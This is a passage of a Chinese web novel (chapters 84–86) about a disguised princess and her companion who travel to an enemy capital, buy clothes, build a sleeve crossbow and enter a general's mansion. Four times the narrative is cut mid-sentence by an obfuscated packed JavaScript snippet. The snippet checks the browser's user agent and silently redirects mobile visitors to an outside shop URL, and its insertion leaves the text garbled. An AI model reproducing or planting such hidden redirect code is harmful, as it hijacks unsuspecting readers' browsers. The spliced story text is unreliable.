宁玉瑶仅一眼,就看出那骨头上被人下了药。她的嘴角勾起一抹嘲讽,不屑道:“哼,哪个缺德的玩意,连狗都不放过。” 一旁的侍卫们听到她的话,眼观鼻鼻观心,没人敢吭声。他们心里都清楚,这肯定是昨晚那人搞的鬼。 登上马车前,宁玉瑶不经意地瞥了一眼朱占行的马车。巧的是,马车中的朱占行正往她这边看来,眼神凶狠,仿佛在看着一件死物一般。 宁玉瑶却装作懵懂无知的模样,对他扬起了一个灿烂的笑容。 朱占行见状,冷哼一声,“砰”地关上了车窗。 宁玉瑶脸上的笑意更浓了,毫不在意朱占行的反应,直接上了自己的马车。 马车内的婢女们见她进来,吓得缩成一团,畏惧地盯着她手中从不离身的小竹匣。当看见她脸上那灿烂的笑容,不由自主地打了个寒颤,几人抱得更紧。 她们这一蜷缩,马车里空出了一大片地方,大到宁玉瑶躺上去都绰绰有余。 宁玉瑶也不客气,惬意地躺在马车里最宽敞的位置上,心想真没想到昨晚那么一闹,还有这样意想不到的好处。看来在启宁镇的时候,她还是太客气了。 就这样,宁玉瑶在马车里舒舒服服地睡了一路,而那几个小婢女缩在角落里,大气都不敢出。 等马车终于停下,宁玉瑶睡眼惺忪地从马车上走了下来,才发现他们已经进入了一座繁华的城池。 此时艳阳高照,灼热的阳光照射在脸上,刺得宁玉瑶不禁眯起了眼睛。她下意识地抬起手遮挡阳光,目光在四周扫视着。 没等她开口询问这是何处,一直跟在她身后的秦熠小声说道:“主子,今日我们在扶水道修整。” 宁玉瑶微微点头,虽然她对这扶水道一无所知,不过有秦熠在,她无需费心思了解,只要秦熠清楚就行。 她十分自然地将行李扔给秦熠,秦熠赶紧接住,稳稳地抱在了怀里。 他们刚刚站定,一位亲兵快步走了过来,恭敬地对宁玉瑶说道:“丁大夫,客栈已经安排好了,请跟我来。” 一行人穿过客栈热闹的大堂,大堂里人来人往,有文人吟诗作画,有豪客喝酒谈笑,小二忙碌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612537|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地穿梭其中。 客栈后院与大堂的喧嚣形成鲜明对比,十分幽静。这里种满了宁玉瑶叫不出品种的高大树木,树干笔直粗壮,树叶在阳光照耀下闪烁着绿色的光芒,投下一片阴凉。 他们沿着树林间蜿蜒的青石小路向前走,路两旁是郁郁葱葱的草丛。 走到路尽头,有一座被藤蔓爬满的照壁,绕过照壁后,眼前豁然出现一道围墙,走进围墙上的大门,里面是一座一进院落。 亲兵带着宁玉瑶走到了一侧距离正房较远的厢房门口,说道:“丁大夫,今晚您就在这休息。” 宁玉瑶仔细打量一番,厢房里面干净整洁,白色的墙面微微有些发黄,那是岁月留下的痕迹。屋内的床铺和桌椅虽然不是用名贵的木材制成,也没有精美的雕花,但上面没有一点灰尘,显然精心打扫过。 她满意地转身,对亲兵点头道:“有劳了。” 亲兵听到这句话,心中暗暗松了口气,这祖宗总算没闹起来,要是她不满意,又得头疼了。 等亲兵离开,秦熠关上门,两人目光交汇,相视一笑。 秦熠将行李放到桌上,轻声道:“看来他们都被你昨晚给吓到了。” 这亲兵在安排他们房间的时候,确实费了不少心思。既要保证房间舒适,让宁玉瑶挑不出毛病,又要让宁玉瑶离朱占行一定距离。 由此可见,朱占行对宁玉瑶真是厌恶到了极点。 而且秦熠刚才留意到,他们房间旁边有一间不错的厢房,此时却空着。显然就连那些侍卫都不敢住在宁玉瑶旁边,生怕招惹到她。 不过宁玉瑶对此毫不在意,苍荻人对她的喜恶影响不了她分毫,而且周围没人,他们说话反而更自在。 只是此时外面烈日当空,宁玉瑶心中好奇,开口问道:“现在应该还不到申时,他们今日怎么这么早就打尖了?” 秦熠已经将此事打听清楚,“出了扶水道便是一片山脉,据说要六个时辰才能穿过。今晚若错过在扶水道休整的机会,就得在山上露宿了。” 宁玉瑶闻言点头,即便是她也知道,夏季山林野兽繁多,这种时候晚上在山林中露宿,那简直和送死没有什么区别。 接着,她又问:“这扶水道又是个什么地方?” “扶水道是苍荻西部最为繁华的一座城池,”秦熠稍微停顿了一下,仔细斟酌了一番之后继续说道,“你可以把它理解成大宸的江南,都极为重要且繁华。” 宁玉瑶一听就明白了,她来了兴致,眼睛一转,拉着秦熠的手轻轻晃着,狡黠笑道:“熠哥哥,我们去外面逛逛吧!” 秦熠眉头微皱,扶水道人多眼杂,他担心仅凭自己无法护宁玉瑶周全。 宁玉瑶看出他的顾虑,眨眨眼睛说:“放心吧熠哥哥,还有朱占行呢,他肯定会派人保护我的。” 秦熠听后哑然失笑,是啊,他把朱占行忘了,在玉瑶治好他想救的人之前,玉瑶都会十分安全。 84.铁针 扶水道是一座独具特色的水上城池。一条蜿蜒的河道潺潺流淌,穿城而过。城池深处,纵横交错的小巷中也有细细的水流穿行,将家家户户巧妙地连接起来。 宁玉瑶从投宿的客栈走出来,沿着街道缓缓前行。她在客栈小二那儿打听到,扶水道最繁华的街道是清溪坊,位于河道的一条支流两侧。 清溪坊的支流虽宽,但水面很浅,仅没过人的脚踝。水面上没有桥,取而代之的是许多小石墩供人行走,河水清澈见底,偶有游鱼欢快地在石墩间游过。 宁玉瑶走在流水叮咚的街道上,她第一次见到这么独特的街市,眼睛都不知道看哪好。 石墩因河水浸润湿滑无比,秦熠小心翼翼地跟在她身后,生怕宁玉瑶跌倒受伤,又碍于朱占行的侍卫跟随,思来想去,干脆蹲下身子,不顾弄湿鞋袜,背起宁玉瑶淌着水流行走。 宁玉瑶这下视野更开阔,四处张望,忽然,她的目光被前面的成衣铺子吸引,拍了拍秦熠的肩膀,指向那个方向。来到苍荻这么久,宁玉瑶终于看见了绸缎衣裳,她想要进去看看。 秦熠也心中高兴,立即背着她向成衣铺子走去。 成衣铺的掌柜是个利落的中年女子,眉眼间透着和善。店里的衣裳多是苍荻的样式,色彩斑斓的布料挂满了衣架。 宁玉瑶身着破旧葛衣进店内,忍不住伸手想要触摸那柔软的面料。掌柜见状,没有出言呵斥,只是在一旁笑着提醒道:“绸缎娇贵,还请客人勿用力揉搓。” 宁玉瑶闻言,转头看向掌柜,“这些绸衣怎么售卖?” 掌柜介绍道:“这些绸缎都是从大宸运过来的,您手上的这身纺绸襦裙是十二两银子,旁边的这身丝锦袄裙是三十两,还有这边的云锦……” 掌柜不疾不徐,价格由低到高介绍了几款适合宁玉瑶这个年纪的衣裙。 宁玉瑶看着绸衣上用针线固定的各种鸟羽或碎石,别有一番风味,心中甚是喜爱。 然而她环顾店内,发现男子装束并不多,便转头看向秦熠。 秦熠轻轻摇头,这些衣裳价格不菲,不想让宁玉瑶太过破费。 宁玉瑶顿时不高兴,小嘴一撅,不理他,直接问掌柜:“有适合我这下人穿的衣裳吗?” 掌柜目测了一番秦熠的身高体貌,点头道:“您稍等。” 说着她让店里的伙计给宁玉瑶等人斟上茶水,转身去了仓房。 店内弥漫着淡淡的茶香,宁玉瑶一边品着茶,一边打量着店里的衣裳。 没过多久,掌柜拿着几套黑色的短打走了出来,说道:“这些粗丝绸短打二两银子一套,棉布衣裳三百铜钱一套。” 宁玉瑶捻了一下,这些面料虽说远不如在雁京时那般精致,但总归比秦熠现在身上的粗麻要舒服许多。 她满意地点点头,“不错,这些加上之前我看中的那些一共多少银子?” 掌柜拿出算筹,“噼里啪啦”拨弄一番后答道:“一共五百零三两。” 宁玉瑶从未自己买过衣裳面料,不清楚这些价格算不算贵,不过横竖她手中还有不少银票,便大手一挥,“全要了!”接着又转身对秦熠说:“待会儿把你身上的破烂也换了,烂成这样,真丢人。” 虽然秦熠的本意是想省钱,让宁玉瑶自己多花点,但宁玉瑶坚持,他也不会拒绝宁玉瑶的一片好意。 他眼含笑意,嘴里却诚惶诚恐地应下。 掌柜似乎没想到这位看似家境贫寒的少女,居然如此爽快。她犹豫了一瞬,本想出言劝阻,毕竟五百多两银子可不是小数目,可没想到宁玉瑶直接掏出一把银票,从中挑出六百两银票递给她。 掌柜微微一愣,连忙退回一百两银票,“姑娘,给您抹个零,五百两就够了。” 宁玉瑶收起银票,又实在不想再继续穿自己身上的葛衣,便问道:“掌柜的,你这可以换衣裳吗?” 掌柜连忙点头,“当然可以,姑娘请随我来。”说着,便带着一行人去了二楼的更衣处。 此时正直盛夏,骄阳似火,宁玉瑶挑了一身鸭蛋青袒领襦裙。 当她从更衣处出来,外面的侍卫们一瞬间觉得自己有些眼花,那清新脱俗的身影似乎气度不凡。然而等他们定睛一看,那个正在药仆面前颐指气使的女人头发散乱,依旧粗俗不堪。 原来,方才的惊艳只是精美华裳带来的错觉。 换上了新衣裳的宁玉瑶心情很好地带着身后的一群人继续闲逛。 一路走过来,宁玉瑶身上的银两越来越少,而秦熠身上挂着的东西越来越多。秦熠的身姿被沉重的物品压得更显佝偻,他不但要背着宁玉瑶,宁玉瑶买的东西也全都一股脑地挂在他脖子上。 侍卫们默默地跟在后面,同情地看着秦熠。尽管丁大夫一时兴起为他添置了几件粗糙的丝织衣物,但这点小恩小惠与眼前这番折腾相比,简直微不足道。 他满脖子都是乱七八糟的玩意儿,就连女子的绣鞋都挂了好几双,走起路来叮叮当当响个不停,显得十分滑稽。 眼看天色渐晚,天边泛起了绚丽的晚霞。宁玉瑶遗憾地摸摸自己身上所剩无几的几两碎银子,意犹未尽道:“回客栈。” 听到这话,随行众人无不松了一口气。他们今天已经在马上奔波了一整天,身体早已疲惫不堪,再加上逛了这么久,更是筋疲力尽。 尤其是秦熠,他脸上的疲惫无法掩饰。汗水从他的额头上渗出,顺着脸颊滴落,双眼也暗淡无光,失去了往日的神采。 没想到刚踏出清溪坊,拐角处便出现了一间医馆。宁玉瑶眼睛倏地一亮,急忙拍了拍秦熠的肩膀,指着医馆说道:“去那儿。” 秦熠来不及换上干爽的鞋袜,便又任劳任怨地背着宁玉瑶迈进了医馆。 医馆伙计立刻迎上前来,“请问诸位是来看诊还是买药呢?” 宁玉瑶问道:“你们这里可有针灸用的针具?” “有的,请问您是要银针还是铁针?” 宁玉瑶闻言,心中略感诧异。这里竟然用铁针?铁针若处理不当很容易让人患上金创痉。不过既然有铁针,她眼中闪过一抹不怀好意。 她毫不犹豫地掏出身上所有银钱,在医馆中买了两套银针,接着又用剩余的钱全部买了铁针。 看到宁玉瑶手中那把闪着寒光的针,身后的侍卫们齐齐浑身一抖,耳边仿佛又听到了锦廿被针扎时的惨叫声。 他们收敛心神,再也不敢面露不满。 好不容易回到客栈,一踏入小院,随行的侍卫便迅速消失得无影无踪。院内的人只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627492|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见秦熠大包小裹,摇摇晃晃地跟在宁玉瑶身后走进了厢房。 进入厢房,秦熠立刻恢复了神采奕奕的模样。他将手中的物品放到桌上,走到坐在床边休息的宁玉瑶身边,“累不累?” “不累,”宁玉瑶笑道,“或许真的是吃惯了苦,当初去掖州,我独自一人躺在奢华的马车上,都被颠簸得仿佛要散架一般。可如今挤在这样一辆小小的马车上,竟然没觉得有多大的不适。” 这话反倒让秦熠更加心疼,他握住宁玉瑶的手,说道:“我们回大宸吧,这些事本就不是你的责任。” 宁玉瑶抽出手,捧着他的脸笑道:“我没事的,现在我们有这么好的机会能混进朱府,不把他们搅个天翻地覆我可不心甘。” 秦熠自知劝不动她,他从小听玉瑶的命令已经成了习惯,只好压下自己的心疼,默默翻出之前的行李和今日买的东西继续打磨。 在启宁镇的时候,宁玉瑶买了诸多东西,全都带了过来。 那些不值钱的小玩意儿,就连婢女瞧了都觉得拿来纯属浪费力气,还劝过宁玉瑶,国都有更好的。宁玉瑶却不听从她们的劝告,将这些东西全都搜罗起来让秦熠拿着。其他人也就不再理会显得小家子气的丁大夫了。 实际上,这些东西都是秦熠精心挑选的,因他们每次出门逛集市,朱占行都会派人跟随,他们无法直接购买制作武器的材料,只能购置一些稀奇古怪的小玩意,等买回来之后再进行拆解,然后自己打磨加工。 宁玉瑶坐在一旁,静静注视着秦熠一点点打磨着手中的机关。 屋内烛光摇曳,映照着秦熠专注的神情,宁玉瑶渐渐感到困意袭来,不知不觉,她靠在椅子上沉入梦乡。 等到月上中天,如水的月光给房间披上了一层银白的纱衣。宁玉瑶揉了揉惺忪的睡眼,发现自己躺在床上,她起身走到秦熠身边,只见他手中的精致小巧袖弩已经成型。 秦熠正在一点点调整袖弩,看见宁玉瑶醒来,他的脸上露出一抹温柔的笑容,将她背对着自己抱在怀里。 他小心地将袖弩绑在宁玉瑶的小臂处,举起她的手说道:“你对着墙壁试试,手腕往下压。” 宁玉瑶好奇地看着小臂上的袖弩,按照秦熠的指示,对着墙壁压下手腕,只听“嗖”的一声,一根银针从袖弩中疾射而出,瞬间扎进墙壁中。 “真厉害!”宁玉瑶赞叹道,眼中满是惊喜,“熠哥哥,你怎么会做这个?” 秦熠揉了揉她的头发,“在军中闲暇时找工匠学了些简单的武器。这个袖弩每次只能放三根针,这些日子你好好练练,能打中人就行。” 听秦熠提起针,宁玉瑶连忙起身,将今天买的铁针拿出来。她将手帕浸湿,然后小心翼翼地包裹上铁针。秦熠疑惑地问:“这是作什么?” 宁玉瑶又在手帕上洒了一层水,才吹灭烛火,拉着秦熠去床上躺下。 黑暗中,她轻声说道:“江老说过,被生锈的铁器划伤后容易患上金创痉。嘻嘻……” 秦熠瞬间明白宁玉瑶的未尽之意,他在军中时也知道被铁锈划破基本上药石罔效。 正好他一直担心江老的毒不够用,如今有了铁针加上袖弩,虽然不能让人一击毙命,但在某些情况下可能会产生意想不到的效果。 85.朱府 九日后的黄昏,宁玉瑶终于望见了苍荻国都的轮廓。 这一路,山路蜿蜒曲折,马车颠簸难行。宁玉瑶却独自占据了大半个车厢,毫无不适之感。 当他们穿过茂密的树林,又乘坐渡船横过了宽阔的河流,一座古朴雄伟的城墙映入了他们的眼帘。 城墙由巨大的青石砌成,坚固高耸,石面上布满了岁月的痕迹。每一道城楼上的垛口都有背着弓箭的守卫驻守。 马车缓缓驶入了高大的城门,迎面而来的是一阵不同于大宸的喧嚣。行人们的脸上都绘有祷纹,不过这里的祷纹并不像启宁镇那样覆盖整个面部,而是仅以几笔勾勒。 宁玉瑶趴在车窗上,兴致盎然地看着外面的街道。即便在侍女们眼中,她就是一个没见过世面的土包子,她一人占据着车窗,趴在窗沿上四处张望,也没人敢在多说什么。 毕竟她身边的银针让人胆寒。 但是进入国都之后,侍女们明显放松了许多。她们交换了一个意味深长的眼神,心里都很清楚自家将军的性格。虽然现在将军还能忍受宁玉瑶,但一旦这位丁大夫失去了利用价值,她的日子恐怕就不会那么好过了。 宁玉瑶自然也察觉到了朱占行每次见到自己时那压抑的怒火。想到一路上朱占行阴沉的表情,她心中不禁涌起一丝冷意。既然敢对大宸下手,那就别怪他们兴风作浪了。 马车在石板路上徐徐前行,最终停在一座宏伟的府邸门前。 一位端庄的妇人静静伫立在门口,她身着素雅长袍,高挽发髻。身旁站着一名二十来岁的青年男子和一名十来岁的少女,想来这便是朱将军的正妻以及嫡子嫡女。 这三人后方还有几位稍年长的妇人,大概是朱占行的妾室。有几位妾室身边跟着大小不一的孩子,孩子们皆乖巧地站在各自小娘身侧。 朱占行率先跳下马车,侍女抱着玖跃紧随其后,玖跃小小的身躯在婢女怀中显得格外孱弱。 门前众人看见朱占行,纷纷上前行礼。 朱占行轻轻摸了摸几个年幼孩子的头,转身对朱夫人低语了几句。他们身旁众人皆对玖跃视若无睹,仿佛他根本不存在。玖跃似乎也早已习惯这种被忽视的状态,并未哭闹,只是怯生生地缩在侍女怀中。 宁玉瑶在秦熠的搀扶下走下马车,她羡慕地瞧了一眼朱夫人和朱家嫡女,她们的额角至左脸颊处用靛蓝色染料画着一朵精致的花纹,犹如盛开的鲜花,为她们增添了几分美丽。 不愧是国都,连祷纹都如此精美。宁玉瑶心中暗暗赞叹。不过,她下意识摸了摸自己的脸,心中却并未有太大波澜。若不是祷纹将她的脸遮盖了大半,她或许还真不好意思撒泼呢。 这时门口传来一阵窃笑,声音不大却极为刺耳。几位妖娆的妾室站在那里,对着蓬头垢面的宁玉瑶指指点点,眼神中满是嘲讽,想来是在嘲笑宁玉瑶丑人多作怪。 宁玉瑶向来不是能忍气吞声之人,当下两眼一瞪,双手叉腰,就要破口大骂。 朱占行的正妻朱夫人适时开口道:“想必这位就是将军提及的丁大夫吧?丁大夫如此年轻,一路舟车劳顿辛苦了。” 朱夫人的声音沉稳而威严,她一开口,宁玉瑶便看到那几个偷笑她的妾室瞬间脸色惨白,赶忙收敛神色,低头不敢再发出半点声响。 看来这朱夫人积威甚重。 宁玉瑶一眼就看穿朱夫人眼中的嫌恶,心中不禁暗笑。这朱夫人的养气功夫还差得远呢,若是雁京的当家主母,即便厌恶至极,也能让人如沐春风。朱夫人如此急切地打断她,不过是怕她在将军府门前骂人,给将军府丢脸罢了。 她假意客套道:“见过朱夫人。” 朱夫人身边的少女却藏不住心思,她毫不掩饰鄙夷地看着宁玉瑶,仿佛在看一个肮脏的乞丐。 不过是个被娇宠长大的女孩子罢了,宁玉瑶并未将她放在心上。若是在雁京,自己可比她更加蛮横。 倒是朱夫人严厉地瞪了少女一眼,少女瘪了瘪嘴,虽心有不甘,但也不敢再对宁玉瑶横眉怒目。 朱夫人笑盈盈地对宁玉瑶说:“丁大夫,客院已经安排妥当,午膳也准备就绪。今日朱府家宴,就不款待你了。今晚你好好休息,明日再请你看诊。” 宁玉瑶自然知道以自己目前的身份,不够资格与朱家一同用膳。不过,就算真在一起用膳,她还怕自己会消化不良呢。他们单独在客院反而更加自在。 这次她真心实意地向朱夫人道谢:“朱夫人考虑周到,那我们就不打扰您家人团聚了。” 朱夫人侧头向身边的侍女示意,侍女点头,走到宁玉瑶面前,恭敬地说:“丁大夫,您请随我来。” 宁玉瑶和秦熠跟在侍女身后,从侧门踏入朱府。 朱家的府邸极大,走进大门,映入眼帘的是一个宽敞开阔的庭院,苍狄特有的花朵竞相绽放,散发出阵阵芬芳。 宁玉瑶二人随着侍女沿着庭院中的小路前行,绕过几个大院子,穿过几条回廊。随着他们逐渐深入,周围环境越发偏僻,也渐渐安静下来。 最终,在一处小院门口停下。侍女躬身对宁玉瑶说道:“丁大夫,夫人考虑到您不喜吵闹,特意为您挑选了这处安静的院子,希望您能满意。” 宁玉瑶挑眉看着面前略显陈旧的小院,小院门口挂着一块牌子,上面写着“清苑”二字。她意有所指地说:“朱夫人的待客之道真是别具一格。” 侍女仿佛没有听出宁玉瑶的言外之意,没有接话,依旧笑着引着他们二人往院子里走:“夫人还特地安排了两个下人来伺候您。”接着,她高声喊道:“泉月,春燕。” 两个小姑娘闻声跑出来,脆生生地应道:“徐姑姑。” 小姑娘们瘦瘦小小,才及宁玉瑶腰部。她们的衣裳虽旧,却干净整洁。头顶扎着两个小辫,画着祷纹的稚嫩小脸上神色紧张。 宁玉瑶看穿朱夫人的用心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644492|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无非是不想让自己太过舒坦,故意弄两个小丫头来。不过小丫头也有小丫头的好处,虽然细胳膊细腿干不了什么重活,但至少没多少心眼。 那位被唤作徐姑姑的侍女对两个小丫头介绍道:“这位就是丁大夫,你们好好伺候着。” 两个小丫头赶紧应道:“是,徐姑姑。”随后向宁玉瑶行礼:“见过丁大夫。” 徐姑姑将事情安排妥当,对宁玉瑶说:“丁大夫,若无其他事,奴婢就先行告退了,丁大夫好好休息。”说完便福身退出小院。 她脚下步伐迅疾却又丝毫不显仓促,待抵达主院膳堂时,朱家人已然用过晚膳,一家人正其乐融融地聚在一起交谈。 徐姑姑恭恭敬敬地向屋内的主子们行礼,几名妾室见此情形,立即起身向朱夫人和朱将军行礼,悄然退出膳堂。 妾室们退下后,朱夫人淡淡开口问道:“那丁玉有何表现?” 徐姑姑赶忙回道:“丁大夫虽对清苑破旧以及丫鬟年幼有所不满,但并未闹腾。” 朱夫人不屑地轻哼一声:“到了国都,进了朱府,料她也不敢放肆。” 前些日子,朱占行送了家书回来,提及这位莽撞又爱折腾的丁玉大夫,字里行间尽是厌恶。信中最后提到会带她回来为父亲治疗喘疾,并请夫人帮忙惩治她,让她在死之前吃些苦头。 朱将军在一旁笑道:“就知道这事难不倒夫人,这姓丁的丫头就交给夫人处置了。若她能治好爹的病,就让她多活几日,治不好就随意处置吧。” 这些日子他确实被丁玉吵得头疼不已。以往哪个女子在他面前不是规规矩矩的,他从未见过如此不知好歹的人。 朱夫人哼笑一声:“不过一个小丫头片子罢了,就算能治好爹的病又能怎样?在这朱府,不管是谁来都得守规矩。” “那就劳烦夫人了。”朱将军将丁玉的事丢给夫人后便不再过问,起身径直离开。 朱夫人身边的少女看着父亲消失在门外,满心不满,她向朱夫人唤道:“母亲,爹一回来就往姨娘那里跑,都不陪陪您。” 朱夫人警告地看了女儿一眼,严肃地说道:“这话不该从你嘴里说出来。” 少女委屈地低下头。 朱夫人看到女儿这般模样,想到女儿也是心疼自己才会如此说,便放缓语气道:“你父亲辛苦,母亲年岁渐长,能有人替母亲照顾你父亲也是好事。” 少女小声嘟囔:“母亲哪里老了。” 朱夫人不禁失笑,她也不能跟未出阁的女儿说自己厌烦应付她父亲。只要将军别想着将家业留给庶子,就算他纳十个八个妾又有何妨。 朱夫人略过这个话题,吩咐女儿:“我知道你因丁玉折腾你父亲而心中不快,但这阵子你也别去清苑,先冷落她一段时间,她不是爱闹腾吗?就让她在那儿好好磨磨性子。” 少女虽心中不情愿,但也不敢违抗母亲的命令,只好应道:“是,母亲。” 86.草包 徐姑姑走后,宁玉瑶转过身,目光落在面前两个怯生生的小丫鬟身上,开口问道:“你们叫什么名字?多大年纪了?” 个子稍高些的丫鬟抬起头,眼神紧张,恭敬地回道:“回丁大夫,奴婢名唤泉月,今年九岁。她是春燕,今年八岁。” 宁玉瑶微微颔首,接着问道:“你们都会做哪些活计?” 泉月回答:“回丁大夫,洒扫整理、伺候梳洗、端茶倒水、缝补衣物,这些活儿奴婢都能做,您尽可吩咐。” 宁玉瑶听后,点了点头,表示知晓了。她对这些年纪不大的小丫鬟会做这么多事并不感到惊讶,毕竟当初青黛和青筱送到她身边时,年岁比这两个丫鬟还小,经过悉心调教后,做得比她们更好。 宁玉瑶环顾四周,这院子虽然破旧,却打扫得十分干净,想来这两个小丫鬟也是用了心的。思索片刻后,她对她们说道:“你们去准备些热水来,我待会儿要沐浴。” “是,丁大夫。”两个小丫鬟齐声应道。 两个小丫鬟被支走去准备热水,秦熠在院子周围转了一圈,满意地颔首道:“这朱家人安排的地方倒是不错。” 宁玉瑶听到秦熠的话,也露出笑容。他们曾在小谷村居住了大半年,那里的木屋比这个院子更为简陋。 这个小院中的一应家居虽显陈旧,却干净整洁。由此可见,朱夫人即便厌恶他们,可终究好面子,做不出太过分的事。 宁玉瑶最满意的是院子的位置十分偏僻,无论是去膳房还是灶房都很远,离得最近的反而是杂役住的院落。若她只是一个普通大夫,此处必然极为不便。但对他们而言,越是僻静之地越便于行事。 她轻轻敲了敲小院斑驳的围墙,眼中闪过一抹深意,微笑道:“那我们可不能辜负了朱夫人的这番好意。” 两个小丫鬟费力地往返数次,才将浴桶的热水装满。等宁玉瑶沐浴完毕,已然入夜。小丫鬟们年岁尚小,忙碌一天后,早早地便开始犯困。 宁玉瑶不让她们守夜,催促着她们去休息。小丫鬟们离开后不久,秦熠趁机溜出小院,消失在茫茫夜色之中。 秦熠行事向来有分寸,宁玉瑶也不担心他,便直接睡下了,却没想到,等到天快破晓了秦熠才回来。 宁玉瑶向来浅眠,听到细微动静便醒了过来。她微微坐起身子,看着一脸疲惫的秦熠,蹙眉问道:“怎么去了这么久?” 秦熠脱下身上略显脏污的衣服,轻声解释道:“朱占行昨夜去了国师府,我一路跟随,这才耽搁了时间。” 宁玉瑶有些不可思议,“朱府竟然能让你自由出入?” 秦熠眼中满是嘲讽:“之前在启宁镇时,守着玖跃的侍卫皆是国师府的人。此次回到国都,国师府的侍卫顺势回府。如今的朱府外强中干,侍卫良莠不齐,随便什么人都能混进来。” “就朱占行那脑子,朱府不没落才怪呢。”宁玉瑶嫌弃地说道。停顿片刻后,她又问道:“国师府情况如何?” 秦熠摇了摇头,神色凝重:“国师府守卫森严,不可轻易靠近。不过,我在外面打探到一个消息,苍荻现在的王上是曾经的睿王,也就是先王的亲弟弟。先王极有可能是被现任苍荻王谋害的。” 宁玉瑶啧啧称奇:“真没想到,当初在大宸面对咄咄逼人的北穆大将只能忍气吞声的睿王,竟然会对自己的兄长下手。” 秦熠接着说道:“之前一直盛传睿王是苍荻的贤王,或许那时睿王就在暗中造势了。” 宁玉瑶微微颔首,若有所思:“就是不知大宸的事睿王参与了多少。” 秦熠回应道:“暂时打听不到,不过国师肯定脱不了干系。” 宁玉瑶安慰道:“没关系,我们慢慢打听。实在找不到也无妨,只要能找到大皇子与苍荻勾结的证据,其他事情舅舅自会想办法。” 秦熠点头,他也是如此想的。在他心中,宁玉瑶的安危始终摆在第一位,别的事情都可以慢慢谋划。 他又提及另外一件事:“方才我在朱府正院转了一圈,正院有一间屋子里面住着一个病人,外面侍卫众多,无法靠近。不过,我猜测可能是朱占行的父亲朱旦英。” 朱家与其他武将世家一样,世代从军。二十年前,大宸内乱,苍狄与北穆趁机而入,北穆那边以札木哲和达瓦为主力。 而苍狄武将虽然历来稀缺,但这个朱旦英却是一员猛将。当初他在大宸烧杀掳掠,立下赫赫战功,使得朱家在苍狄声威暴涨。就连朱占行这个草包都能凭借父亲的庇佑混上个将军之位。 宁玉瑶沉吟,这个朱旦英她也有所耳闻。当初他侵犯大宸边境时,秧州可谓是十室九空,方廷峪的亲生父亲方恒便是死在他的手上。 想到这里,宁玉瑶心情有些复杂,如今他们身处朱府,或许有机会为那些在大宸惨死的百姓和将士们讨回一些公道。 未等他们继续深想,外面的厢房传来一阵轻微响动,是两个小丫鬟起身了。 他们立刻停止交谈,宁玉瑶面露担忧之色,轻声问道:“熠哥哥,你一夜未睡,累吗?” 秦熠望着她关切的眼神,俯下身,在她柔软的唇上轻轻印下一吻,眼中满是笑意,温柔地说道:“这样便不累了。” 宁玉瑶的脸蛋瞬间染上一丝绯红,又羞又恼,刚想伸手打他,门外传来泉月的叩门声:“丁大夫起了吗?” 秦熠连忙跳到一旁,扬声应道:“进来吧。” 泉月和春燕端着热水和盥洗用品走了进来。 宁玉瑶轻哼一声,坐到梳妆台前,不再理会那个不正经的。 泉月上前来为宁玉瑶梳头,别看她才九岁,手却十分灵巧。她先将宁玉瑶的头发绕着发际编了一圈辫子,接着又用彩绳将剩余的头发编成几股小辫子。 宁玉瑶看着镜中的自己,十分满意,总算不用再顶着一头乱发了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659338|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦熠静静地看着面前穿着苍荻衣裙的少女,她梳着苍荻的发型,面上有着苍荻神明的祷纹,任谁也看不出这是大宸朝最受宠的明安郡主。 宁玉瑶也想到了这一点,她抬起头,与秦熠的目光交汇,两人相视一笑。 刚收拾妥当,小院外有人轻轻叩门,春燕连忙跑去开门,带着来人进了正房的客厅。 来者正是昨夜领他们过来的徐姑姑。 徐姑姑一见到宁玉瑶,便开口说道:“丁大夫,不知您昨晚休息可好?将军与夫人请您前去看诊。” 宁玉瑶却半点都不配合,微微扬起下巴,语气不善地说道:“你们朱府的待客之道就是清早让客人饿着肚子干活?” 徐姑姑在朱夫人身边这么多年,还是第一次见到进了朱府还这么不给夫人脸面的人。难怪将军会特意写信回来让夫人好好款待这位丁大夫。 